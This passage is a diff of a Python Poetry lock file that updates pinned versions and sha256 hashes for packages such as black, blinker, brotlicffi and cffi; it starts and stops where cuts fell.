hash = "sha256:ad33358114df7c9416cdb8fa1eaa5852166c505118717021c6a8c7c7abbd03dd"}, + {file = "altgraph-0.17.4-py2.py3-none-any.whl", hash = "sha256:642743b4750de17e655e6711601b077bc6598dbfa3ba5fa2b2a35ce12b508dff"}, + {file = "altgraph-0.17.4.tar.gz", hash = "sha256:1b5afbb98f6c4dcadb2e2ae6ab9fa994bbb8c1d75f4fa96d340f9437ae454406"}, ] [[package]] @@ -141,33 +141,29 @@ test = ["hypothesis", "pytest", "pytest-benchmark[histogram]", "pytest-cov", "py [[package]] name = "black" -version = "23.9.1" +version = "23.10.0" description = "The uncompromising code formatter." optional = false python-versions = ">=3.8" files = [ - {file = "black-23.9.1-cp310-cp310-macosx_10_16_arm64.whl", hash = "sha256:d6bc09188020c9ac2555a498949401ab35bb6bf76d4e0f8ee251694664df6301"}, - {file = "black-23.9.1-cp310-cp310-macosx_10_16_universal2.whl", hash = "sha256:13ef033794029b85dfea8032c9d3b92b42b526f1ff4bf13b2182ce4e917f5100"}, - {file = "black-23.9.1-cp310-cp310-macosx_10_16_x86_64.whl", hash = "sha256:75a2dc41b183d4872d3a500d2b9c9016e67ed95738a3624f4751a0cb4818fe71"}, - {file = "black-23.9.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:13a2e4a93bb8ca74a749b6974925c27219bb3df4d42fc45e948a5d9feb5122b7"}, - {file = "black-23.9.1-cp310-cp310-win_amd64.whl", hash = "sha256:adc3e4442eef57f99b5590b245a328aad19c99552e0bdc7f0b04db6656debd80"}, - {file = "black-23.9.1-cp311-cp311-macosx_10_16_arm64.whl", hash = "sha256:8431445bf62d2a914b541da7ab3e2b4f3bc052d2ccbf157ebad18ea126efb91f"}, - {file = "black-23.9.1-cp311-cp311-macosx_10_16_universal2.whl", hash = "sha256:8fc1ddcf83f996247505db6b715294eba56ea9372e107fd54963c7553f2b6dfe"}, - {file = "black-23.9.1-cp311-cp311-macosx_10_16_x86_64.whl", hash = "sha256:7d30ec46de88091e4316b17ae58bbbfc12b2de05e069030f6b747dfc649ad186"}, - {file = "black-23.9.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:031e8c69f3d3b09e1aa471a926a1eeb0b9071f80b17689a655f7885ac9325a6f"}, - {file = "black-23.9.1-cp311-cp311-win_amd64.whl", hash = "sha256:538efb451cd50f43aba394e9ec7ad55a37598faae3348d723b59ea8e91616300"}, - {file = "black-23.9.1-cp38-cp38-macosx_10_16_arm64.whl", hash = "sha256:638619a559280de0c2aa4d76f504891c9860bb8fa214267358f0a20f27c12948"}, - {file = "black-23.9.1-cp38-cp38-macosx_10_16_universal2.whl", hash = "sha256:a732b82747235e0542c03bf352c126052c0fbc458d8a239a94701175b17d4855"}, - {file = "black-23.9.1-cp38-cp38-macosx_10_16_x86_64.whl", hash = "sha256:cf3a4d00e4cdb6734b64bf23cd4341421e8953615cba6b3670453737a72ec204"}, - {file = "black-23.9.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cf99f3de8b3273a8317681d8194ea222f10e0133a24a7548c73ce44ea1679377"}, - {file = "black-23.9.1-cp38-cp38-win_amd64.whl", hash = "sha256:14f04c990259576acd093871e7e9b14918eb28f1866f91968ff5524293f9c573"}, - {file = "black-23.9.1-cp39-cp39-macosx_10_16_arm64.whl", hash = "sha256:c619f063c2d68f19b2d7270f4cf3192cb81c9ec5bc5ba02df91471d0b88c4c5c"}, - {file = "black-23.9.1-cp39-cp39-macosx_10_16_universal2.whl", hash = "sha256:6a3b50e4b93f43b34a9d3ef00d9b6728b4a722c997c99ab09102fd5efdb88325"}, - {file = "black-23.9.1-cp39-cp39-macosx_10_16_x86_64.whl", hash = "sha256:c46767e8df1b7beefb0899c4a95fb43058fa8500b6db144f4ff3ca38eb2f6393"}, - {file = "black-23.9.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:50254ebfa56aa46a9fdd5d651f9637485068a1adf42270148cd101cdf56e0ad9"}, - {file = "black-23.9.1-cp39-cp39-win_amd64.whl", hash = "sha256:403397c033adbc45c2bd41747da1f7fc7eaa44efbee256b53842470d4ac5a70f"}, - {file = "black-23.9.1-py3-none-any.whl", hash = "sha256:6ccd59584cc834b6d127628713e4b6b968e5f79572da66284532525a042549f9"}, - {file = "black-23.9.1.tar.gz", hash = "sha256:24b6b3ff5c6d9ea08a8888f6977eae858e1f340d7260cf56d70a49823236b62d"}, + {file = "black-23.10.0-cp310-cp310-macosx_10_16_arm64.whl", hash = "sha256:f8dc7d50d94063cdfd13c82368afd8588bac4ce360e4224ac399e769d6704e98"}, + {file = "black-23.10.0-cp310-cp310-macosx_10_16_x86_64.whl", hash = "sha256:f20ff03f3fdd2fd4460b4f631663813e57dc277e37fb216463f3b907aa5a9bdd"}, + {file = "black-23.10.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d3d9129ce05b0829730323bdcb00f928a448a124af5acf90aa94d9aba6969604"}, + {file = "black-23.10.0-cp310-cp310-win_amd64.whl", hash = "sha256:960c21555be135c4b37b7018d63d6248bdae8514e5c55b71e994ad37407f45b8"}, + {file = "black-23.10.0-cp311-cp311-macosx_10_16_arm64.whl", hash = "sha256:30b78ac9b54cf87bcb9910ee3d499d2bc893afd52495066c49d9ee6b21eee06e"}, + {file = "black-23.10.0-cp311-cp311-macosx_10_16_x86_64.whl", hash = "sha256:0e232f24a337fed7a82c1185ae46c56c4a6167fb0fe37411b43e876892c76699"}, + {file = "black-23.10.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:31946ec6f9c54ed7ba431c38bc81d758970dd734b96b8e8c2b17a367d7908171"}, + {file = "black-23.10.0-cp311-cp311-win_amd64.whl", hash = "sha256:c870bee76ad5f7a5ea7bd01dc646028d05568d33b0b09b7ecfc8ec0da3f3f39c"}, + {file = "black-23.10.0-cp38-cp38-macosx_10_16_arm64.whl", hash = "sha256:6901631b937acbee93c75537e74f69463adaf34379a04eef32425b88aca88a23"}, + {file = "black-23.10.0-cp38-cp38-macosx_10_16_x86_64.whl", hash = "sha256:481167c60cd3e6b1cb8ef2aac0f76165843a374346aeeaa9d86765fe0dd0318b"}, + {file = "black-23.10.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f74892b4b836e5162aa0452393112a574dac85e13902c57dfbaaf388e4eda37c"}, + {file = "black-23.10.0-cp38-cp38-win_amd64.whl", hash = "sha256:47c4510f70ec2e8f9135ba490811c071419c115e46f143e4dce2ac45afdcf4c9"}, + {file = "black-23.10.0-cp39-cp39-macosx_10_16_arm64.whl", hash = "sha256:76baba9281e5e5b230c9b7f83a96daf67a95e919c2dfc240d9e6295eab7b9204"}, + {file = "black-23.10.0-cp39-cp39-macosx_10_16_x86_64.whl", hash = "sha256:a3c2ddb35f71976a4cfeca558848c2f2f89abc86b06e8dd89b5a65c1e6c0f22a"}, + {file = "black-23.10.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:db451a3363b1e765c172c3fd86213a4ce63fb8524c938ebd82919bf2a6e28c6a"}, + {file = "black-23.10.0-cp39-cp39-win_amd64.whl", hash = "sha256:7fb5fc36bb65160df21498d5a3dd330af8b6401be3f25af60c6ebfe23753f747"}, + {file = "black-23.10.0-py3-none-any.whl", hash = "sha256:e223b731a0e025f8ef427dd79d8cd69c167da807f5710add30cdf131f13dd62e"}, + {file = "black-23.10.0.tar.gz", hash = "sha256:31b9f87b277a68d0e99d2905edae08807c007973eaa609da5f0c62def6b7c0bd"}, ] [package.dependencies] @@ -187,13 +183,13 @@ uvloop = ["uvloop (>=0.15.2)"] [[package]] name = "blinker" -version = "1.6.2" +version = "1.6.3" description = "Fast, simple object-to-object and broadcast signaling" optional = false python-versions = ">=3.7" files = [ - {file = "blinker-1.6.2-py3-none-any.whl", hash = "sha256:c3d739772abb7bc2860abf5f2ec284223d9ad5c76da018234f6f50d6f31ab1f0"}, - {file = "blinker-1.6.2.tar.gz", hash = "sha256:4afd3de66ef3a9f8067559fb7a1cbe555c17dcbe15971b05d1b625c3e7abe213"}, + {file = "blinker-1.6.3-py3-none-any.whl", hash = "sha256:296320d6c28b006eb5e32d4712202dbcdcbf5dc482da298c2f44881c43884aaa"}, + {file = "blinker-1.6.3.tar.gz", hash = "sha256:152090d27c1c5c722ee7e48504b02d76502811ce02e1523553b4cf8c8b3d3a8d"}, ] [[package]] @@ -290,41 +286,38 @@ files = [ [[package]] name = "brotlicffi" -version = "1.0.9.2" +version = "1.1.0.0" description = "Python CFFI bindings to the Brotli library" optional = false -python-versions = "*" +python-versions = ">=3.7" files = [ - {file = "brotlicffi-1.0.9.2-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:408ec4359f9763280d5c4e0ad29c51d1240b25fdd18719067e972163b4125b98"}, - {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:2e4629f7690ded66c8818715c6d4dd6a7ff6a4f10fad6186fe99850f781ce210"}, - {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:137c4635edcdf593de5ce9d0daa596bf499591b16b8fca5fd72a490deb54b2ee"}, - {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:af8a1b7bcfccf9c41a3c8654994d6a81821fdfe4caddcfe5045bfda936546ca3"}, - {file = "brotlicffi-1.0.9.2-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:9078432af4785f35ab3840587eed7fb131e3fc77eb2a739282b649b343c584dd"}, - {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:7bb913d5bf3b4ce2ec59872711dc9faaff5f320c3c3827cada2d8a7b793a7753"}, - {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:16a0c9392a1059e2e62839fbd037d2e7e03c8ae5da65e9746f582464f7fab1bb"}, - {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:94d2810efc5723f1447b332223b197466190518a3eeca93b9f357efb5b22c6dc"}, - {file = "brotlicffi-1.0.9.2-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:9e70f3e20f317d70912b10dbec48b29114d3dbd0e9d88475cb328e6c086f0546"}, - {file = "brotlicffi-1.0.9.2-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:586f0ea3c2eed455d5f2330b9ab4a591514c8de0ee53d445645efcfbf053c69f"}, - {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux1_i686.whl", hash = "sha256:4454c3baedc277fd6e65f983e3eb8e77f4bc15060f69370a0201746e2edeca81"}, - {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux1_x86_64.whl", hash = "sha256:52c1c12dad6eb1d44213a0a76acf5f18f64653bd801300bef5e2f983405bdde5"}, - {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux2010_i686.whl", hash = "sha256:21cd400d24b344c218d8e32b394849e31b7c15784667575dbda9f65c46a64b0a"}, - {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux2010_x86_64.whl", hash = "sha256:71061f8bc86335b652e442260c4367b782a92c6e295cf5a10eff84c7d19d8cf5"}, - {file = "brotlicffi-1.0.9.2-cp35-abi3-manylinux2014_aarch64.whl", hash = "sha256:15e0db52c56056be6310fc116b3d7c6f34185594e261f23790b2fb6489998363"}, - {file = "brotlicffi-1.0.9.2-cp35-abi3-win32.whl", hash = "sha256:551305703d12a2dd1ae43d3dde35dee20b1cb49b5796279d4d34e2c6aec6be4d"}, - {file = "brotlicffi-1.0.9.2-cp35-abi3-win_amd64.whl", hash = "sha256:2be4fb8a7cb482f226af686cd06d2a2cab164ccdf99e460f8e3a5ec9a5337da2"}, - {file = "brotlicffi-1.0.9.2-pp27-pypy_73-macosx_10_9_x86_64.whl", hash = "sha256:8e7221d8a084d32d15c7b58e0ce0573972375c5038423dbe83f217cfe512e680"}, - {file = "brotlicffi-1.0.9.2-pp27-pypy_73-manylinux1_x86_64.whl", hash = "sha256:75a46bc5ed2753e1648cc211dcb2c1ac66116038766822dc104023f67ff4dfd8"}, - {file = "brotlicffi-1.0.9.2-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:1e27c43ef72a278f9739b12b2df80ee72048cd4cbe498f8bbe08aaaa67a5d5c8"}, - {file = "brotlicffi-1.0.9.2-pp27-pypy_73-win32.whl", hash = "sha256:feb942814285bdc5e97efc77a04e48283c17dfab9ea082d79c0a7b9e53ef1eab"}, - {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-macosx_10_9_x86_64.whl", hash = "sha256:a6208d82c3172eeeb3be83ed4efd5831552c7cd47576468e50fcf0fb23fcf97f"}, - {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-manylinux1_x86_64.whl", hash = "sha256:408c810c599786fb806556ff17e844a903884e6370ca400bcec7fa286149f39c"}, - {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-manylinux2010_x86_64.whl", hash = "sha256:a73099858ee343e8801710a08be8d194f47715ff21e98d92a19ac461058f52d1"}, - {file = "brotlicffi-1.0.9.2-pp36-pypy36_pp73-win32.whl", hash = "sha256:916b790f967a18a595e61f218c252f83718ac91f24157d622cf0fa710cd26ab7"}, - {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:ba4a00263af40e875ec3d6c7f623cbf8c795b55705da18c64ec36b6bf0848bc5"}, - {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-manylinux1_x86_64.whl", hash = "sha256:df78aa47741122b0d5463f1208b7bb18bc9706dee5152d9f56e0ead4865015cd"}, - {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-manylinux2010_x86_64.whl", hash = "sha256:9030cd5099252d16bfa4e22659c84a89c102e94f8e81d30764788b72e2d7cfb7"}, - {file = "brotlicffi-1.0.9.2-pp37-pypy37_pp73-win32.whl", hash = "sha256:7e72978f4090a161885b114f87b784f538dcb77dafc6602592c1cf39ae8d243d"}, - {file = "brotlicffi-1.0.9.2.tar.gz", hash = "sha256:0c248a68129d8fc6a217767406c731e498c3e19a7be05ea0a90c3c86637b7d96"}, + {file = "brotlicffi-1.1.0.0-cp37-abi3-macosx_10_9_x86_64.whl", hash = "sha256:9b7ae6bd1a3f0df532b6d67ff674099a96d22bc0948955cb338488c31bfb8851"}, + {file = "brotlicffi-1.1.0.0-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:19ffc919fa4fc6ace69286e0a23b3789b4219058313cf9b45625016bf7ff996b"}, + {file = "brotlicffi-1.1.0.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9feb210d932ffe7798ee62e6145d3a757eb6233aa9a4e7db78dd3690d7755814"}, + {file = "brotlicffi-1.1.0.0-cp37-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:84763dbdef5dd5c24b75597a77e1b30c66604725707565188ba54bab4f114820"}, + {file = "brotlicffi-1.1.0.0-cp37-abi3-win32.whl", hash = "sha256:1b12b50e07c3911e1efa3a8971543e7648100713d4e0971b13631cce22c587eb"}, + {file = "brotlicffi-1.1.0.0-cp37-abi3-win_amd64.whl", hash = "sha256:994a4f0681bb6c6c3b0925530a1926b7a189d878e6e5e38fae8efa47c5d9c613"}, + {file = "brotlicffi-1.1.0.0-pp310-pypy310_pp73-macosx_10_9_x86_64.whl", hash = "sha256:2e4aeb0bd2540cb91b069dbdd54d458da8c4334ceaf2d25df2f4af576d6766ca"}, + {file = "brotlicffi-1.1.0.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4b7b0033b0d37bb33009fb2fef73310e432e76f688af76c156b3594389d81391"}, + {file = "brotlicffi-1.1.0.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:54a07bb2374a1eba8ebb52b6fafffa2afd3c4df85ddd38fcc0511f2bb387c2a8"}, + {file = "brotlicffi-1.1.0.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7901a7dc4b88f1c1475de59ae9be59799db1007b7d059817948d8e4f12e24e35"}, + {file = "brotlicffi-1.1.0.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:ce01c7316aebc7fce59da734286148b1d1b9455f89cf2c8a4dfce7d41db55c2d"}, + {file = "brotlicffi-1.1.0.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:246f1d1a90279bb6069de3de8d75a8856e073b8ff0b09dcca18ccc14cec85979"}, + {file = "brotlicffi-1.1.0.0-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cc4bc5d82bc56ebd8b514fb8350cfac4627d6b0743382e46d033976a5f80fab6"}, + {file = "brotlicffi-1.1.0.0-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:37c26ecb14386a44b118ce36e546ce307f4810bc9598a6e6cb4f7fca725ae7e6"}, + {file = "brotlicffi-1.1.0.0-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ca72968ae4eaf6470498d5c2887073f7efe3b1e7d7ec8be11a06a79cc810e990"}, + {file = "brotlicffi-1.1.0.0-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:add0de5b9ad9e9aa293c3aa4e9deb2b61e99ad6c1634e01d01d98c03e6a354cc"}, + {file = "brotlicffi-1.1.0.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:9b6068e0f3769992d6b622a1cd2e7835eae3cf8d9da123d7f51ca9c1e9c333e5"}, + {file = "brotlicffi-1.1.0.0-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8557a8559509b61e65083f8782329188a250102372576093c88930c875a69838"}, + {file = "brotlicffi-1.1.0.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2a7ae37e5d79c5bdfb5b4b99f2715a6035e6c5bf538c3746abc8e26694f92f33"}, + {file = "brotlicffi-1.1.0.0-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:391151ec86bb1c683835980f4816272a87eaddc46bb91cbf44f62228b84d8cca"}, + {file = "brotlicffi-1.1.0.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:2f3711be9290f0453de8eed5275d93d286abe26b08ab4a35d7452caa1fef532f"}, + {file = "brotlicffi-1.1.0.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:1a807d760763e398bbf2c6394ae9da5815901aa93ee0a37bca5efe78d4ee3171"}, + {file = "brotlicffi-1.1.0.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fa8ca0623b26c94fccc3a1fdd895be1743b838f3917300506d04aa3346fd2a14"}, + {file = "brotlicffi-1.1.0.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3de0cf28a53a3238b252aca9fed1593e9d36c1d116748013339f0949bfc84112"}, + {file = "brotlicffi-1.1.0.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6be5ec0e88a4925c91f3dea2bb0013b3a2accda6f77238f76a34a1ea532a1cb0"}, + {file = "brotlicffi-1.1.0.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:d9eb71bb1085d996244439154387266fd23d6ad37161f6f52f1cd41dd95a3808"}, + {file = "brotlicffi-1.1.0.0.tar.gz", hash = "sha256:b77827a689905143f87915310b93b273ab17888fd43ef350d4832c4a71083c13"}, ] [package.dependencies] @@ -343,75 +336,63 @@ files = [ [[package]] name = "cffi" -version = "1.15.1" +version = "1.16.0" description = "Foreign Function Interface for Python calling C code." optional = false -python-versions = "*" +python-versions = ">=3.8" files = [ - {file = "cffi-1.15.1-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:a66d3508133af6e8548451b25058d5812812ec3798c886bf38ed24a98216fab2"}, - {file = "cffi-1.15.1-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:470c103ae716238bbe698d67ad020e1db9d9dba34fa5a899b5e21577e6d52ed2"}, - {file = "cffi-1.15.1-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:9ad5db27f9cabae298d151c85cf2bad1d359a1b9c686a275df03385758e2f914"}, - {file = "cffi-1.15.1-cp27-cp27m-win32.whl", hash = "sha256:b3bbeb01c2b273cca1e1e0c5df57f12dce9a4dd331b4fa1635b8bec26350bde3"}, - {file = "cffi-1.15.1-cp27-cp27m-win_amd64.whl", hash = "sha256:e00b098126fd45523dd056d2efba6c5a63b71ffe9f2bbe1a4fe1716e1d0c331e"}, - {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:d61f4695e6c866a23a21acab0509af1cdfd2c013cf256bbf5b6b5e2695827162"}, - {file = "cffi-1.15.1-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:ed9cb427ba5504c1dc15ede7d516b84757c3e3d7868ccc85121d9310d27eed0b"}, - {file = "cffi-1.15.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:39d39875251ca8f612b6f33e6b1195af86d1b3e60086068be9cc053aa4376e21"}, - {file = "cffi-1.15.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:285d29981935eb726a4399badae8f0ffdff4f5050eaa6d0cfc3f64b857b77185"}, - {file = "cffi-1.15.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3eb6971dcff08619f8d91607cfc726518b6fa2a9eba42856be181c6d0d9515fd"}, - {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:21157295583fe8943475029ed5abdcf71eb3911894724e360acff1d61c1d54bc"}, - {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5635bd9cb9731e6d4a1132a498dd34f764034a8ce60cef4f5319c0541159392f"}, - {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2012c72d854c2d03e45d06ae57f40d78e5770d252f195b93f581acf3ba44496e"}, - {file = "cffi-1.15.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd86c085fae2efd48ac91dd7ccffcfc0571387fe1193d33b6394db7ef31fe2a4"}, - {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:fa6693661a4c91757f4412306191b6dc88c1703f780c8234035eac011922bc01"}, - {file = "cffi-1.15.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:59c0b02d0a6c384d453fece7566d1c7e6b7bae4fc5874ef2ef46d56776d61c9e"}, - {file = "cffi-1.15.1-cp310-cp310-win32.whl", hash = "sha256:cba9d6b9a7d64d4bd46167096fc9d2f835e25d7e4c121fb2ddfc6528fb0413b2"}, - {file = "cffi-1.15.1-cp310-cp310-win_amd64.whl", hash = "sha256:ce4bcc037df4fc5e3d184794f27bdaab018943698f4ca31630bc7f84a7b69c6d"}, - {file = "cffi-1.15.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3d08afd128ddaa624a48cf2b859afef385b720bb4b43df214f85616922e6a5ac"}, - {file = "cffi-1.15.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3799aecf2e17cf585d977b780ce79ff0dc9b78d799fc694221ce814c2c19db83"}, - {file = "cffi-1.15.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a591fe9e525846e4d154205572a029f653ada1a78b93697f3b5a8f1f2bc055b9"}, - {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3548db281cd7d2561c9ad9984681c95f7b0e38881201e157833a2342c30d5e8c"}, - {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:91fc98adde3d7881af9b59ed0294046f3806221863722ba7d8d120c575314325"}, - {file = "cffi-1.15.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:94411f22c3985acaec6f83c6df553f2dbe17b698cc7f8ae751ff2237d96b9e3c"}, - {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:03425bdae262c76aad70202debd780501fabeaca237cdfddc008987c0e0f59ef"}, - {file = "cffi-1.15.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:cc4d65aeeaa04136a12677d3dd0b1c0c94dc43abac5860ab33cceb42b801c1e8"}, - {file = "cffi-1.15.1-cp311-cp311-win32.whl", hash = "sha256:a0f100c8912c114ff53e1202d0078b425bee3649ae34d7b070e9697f93c5d52d"}, - {file = "cffi-1.15.1-cp311-cp311-win_amd64.whl", hash = "sha256:04ed324bda3cda42b9b695d51bb7d54b680b9719cfab04227cdd1e04e5de3104"}, - {file = "cffi-1.15.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:50a74364d85fd319352182ef59c5c790484a336f6db772c1a9231f1c3ed0cbd7"}, - {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e263d77ee3dd201c3a142934a086a4450861778baaeeb45db4591ef65550b0a6"}, - {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:cec7d9412a9102bdc577382c3929b337320c4c4c4849f2c5cdd14d7368c5562d"}, - {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4289fc34b2f5316fbb762d75362931e351941fa95fa18789191b33fc4cf9504a"}, - {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:173379135477dc8cac4bc58f45db08ab45d228b3363adb7af79436135d028405"}, - {file = "cffi-1.15.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6975a3fac6bc83c4a65c9f9fcab9e47019a11d3d2cf7f3c0d03431bf145a941e"}, - {file = "cffi-1.15.1-cp36-cp36m-win32.whl", hash = "sha256:2470043b93ff09bf8fb1d46d1cb756ce6132c54826661a32d4e4d132e1977adf"}, - {file = "cffi-1.15.1-cp36-cp36m-win_amd64.whl", hash = "sha256:30d78fbc8ebf9c92c9b7823ee18eb92f2e6ef79b45ac84db507f52fbe3ec4497"}, - {file = "cffi-1.15.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:198caafb44239b60e252492445da556afafc7d1e3ab7a1fb3f0584ef6d742375"}, - {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5ef34d190326c3b1f822a5b7a45f6c4535e2f47ed06fec77d3d799c450b2651e"}, - {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8102eaf27e1e448db915d08afa8b41d6c7ca7a04b7d73af6514df10a3e74bd82"}, - {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5df2768244d19ab7f60546d0c7c63ce1581f7af8b5de3eb3004b9b6fc8a9f84b"}, - {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a8c4917bd7ad33e8eb21e9a5bbba979b49d9a97acb3a803092cbc1133e20343c"}, - {file = "cffi-1.15.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0e2642fe3142e4cc4af0799748233ad6da94c62a8bec3a6648bf8ee68b1c7426"}, - {file = "cffi-1.15.1-cp37-cp37m-win32.whl", hash = "sha256:e229a521186c75c8ad9490854fd8bbdd9a0c9aa3a524326b55be83b54d4e0ad9"}, - {file = "cffi-1.15.1-cp37-cp37m-win_amd64.whl", hash = "sha256:a0b71b1b8fbf2b96e41c4d990244165e2c9be83d54962a9a1d118fd8657d2045"}, - {file = "cffi-1.15.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:320dab6e7cb2eacdf0e658569d2575c4dad258c0fcc794f46215e1e39f90f2c3"}, - {file = "cffi-1.15.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e74c6b51a9ed6589199c787bf5f9875612ca4a8a0785fb2d4a84429badaf22a"}, - {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a5c84c68147988265e60416b57fc83425a78058853509c1b0629c180094904a5"}, - {file = "cffi-1.15.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = 